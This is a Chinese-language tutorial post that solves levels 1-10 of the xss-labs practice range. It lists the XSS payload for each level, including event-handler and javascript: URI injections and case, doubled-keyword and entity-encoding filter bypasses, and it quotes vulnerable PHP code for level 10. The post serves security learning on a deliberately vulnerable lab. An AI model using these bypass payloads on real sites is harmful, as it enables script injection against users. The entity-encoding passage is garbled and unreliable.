免责声明:本文仅用于合法范围的学习交流,若使用者将本文用于非法目的或违反相关法律法规的行为,一切责任由使用者自行承担。请遵守相关法律法规,勿做违法行为!本公众号尊重知识产权,如有侵权请联系我们删除。
01
Level 1-5
练习xss-labs靶场就像做题目一样,知道有答案,所以心里压力会小很多,如果多次尝试还没有思路的时候,可以参考一下本文的内容。
1、Level 1
发现变量为name,可以更改=后面的内容
输入<script>alert('XSS')</script>,弹窗成功,通关!
通关代码:<script>alert('XSS')</script>
2、Level 2
输入<script>alert(1)</script>,发现没有效果,查看一下前端页面代码
尝试闭合前面的input标签,构造"><script>alert(1)</script>,输入,弹窗成功,通关!
通关代码:"><script>alert(1)</script>
3、Level 3
尝试输入<script>alert(1)</script>,检查前端源代码
发现对"<"等符号做了编码,这次使用单引号' '括住输入内容。
构造' onmouseover=alert('xss') ,输入,鼠标经过输入框,弹窗成功,通关!
通关代码:' onmouseover=alert('xss')
4、Level 4
尝试输入<script>alert(1)</script>,查看前端源代码
发现< >被过滤了,尝试构造语句绕过过滤及闭合双引号" onclick=alert('xss') ,点击输入框,弹窗成功,通关!
通关代码:" onclick=alert('xss')
5、Level 5
尝试输入<script>alert(1)</script>,发现会把<script替换为<scri_pt,尝试改变大小写也没用,查看前端源代码
构造" onmouseover=alert('xss'),尝试输入,发现对on替换为o_n
尝试javascript:alert("xss"),构造语句 "> <a href =javascript:alert(1)>xss</a>,点击链接,触发弹窗,通关!
通关代码:"> <a href =javascript:alert(1)>xss</a>
02
Level 6-10
1、Level 6
尝试输入<script>alert(1)</script>,发现会把<script替换为<scri_pt,查看前端源代码
尝试改变大小写,发现输入没有改变
构造"><Script>alert(1)</script>,弹窗成功,通关!
通关代码:"><Script>alert(1)</script>
2、Level 7
输入<script>alert(1)</script>,发现script被过滤了
尝试双写关键词,构造 "> <scrscriptipt>alert(1)</scriscriptpt>,弹窗成功,通关!
通关代码: "> <scrscriptipt>alert(1)</scriscriptpt>
3、Level 8
输入<script>alert(1)</script>,查看代码,发现输入字符传递到href,并进行了一定处理
尝试输入javascript:alert(1),发现对关键字script进行了处理,大小写也无法绕过
尝试使用HTML实体编码,其中s的实体编号是s,构造javascript:alert(1),弹窗成功,通关!
知识补充
实体编码有实体名称,实体编号两种表示方式,比如常见的实体编码如下
- 小于号 (<):
<
或<
- 大于号 (>):
>
或>
- 和号 (&):
&
或&
- 引号 ("):
"
或"
实体编号对照表参考链接:https://www.freeformatter.com/html-entities.html
通关代码:javascript:alert(1)
4、Level 9
与前面一样进行尝试,发现只有带有http://的输入才能传递到href,并且和一样Level 8对输入值进行了处理
构造javascript:alert(1)/*http://*/,输入并点击友情链接,触发弹窗,通关!
通关代码:javascript:alert(1)/*http://*/
5、Level 10
尝试完前面的方法都没有效果,查看前端代码,发现没有有用信息,这次只靠前端代码是做不出来了。
进入后台,查看源码,发现使用了str_replace函数,代码如下:
将输入的"<"和">"都替换成了空值,并将处理后的值传递给变量t_sort,并把后面的type="hidden"给屏蔽掉,因此尝试构造语句
t_sort="onclick="javascript:alert(1)" type="text
<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.$str33.'" type="hidden"></form></center>';?>
str_replace() 函数使用一个字符串替换字符串中的另一些字符。
1、$search,要替换的字符串,或数组
2、$replace,被用来替换的字符串或数组
3、$subject,被查询的字符串或数组
4、$count,可选,如果被指定,将为设置为替换的次数
点击输入框,触发弹窗,通关!
通关代码:t_sort="onclick="javascript:alert(1)" type="text
下一期我们继续把剩余的Level 11-20讲完,感谢关注!
亲爱的朋友,若你觉得文章不错,请点击关注。你的关注是笔者创作的最大动力,感谢有你!
原文始发于微信公众号(菜根网络安全杂谈):一起来通关xss-labs(上):Level 1-10
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论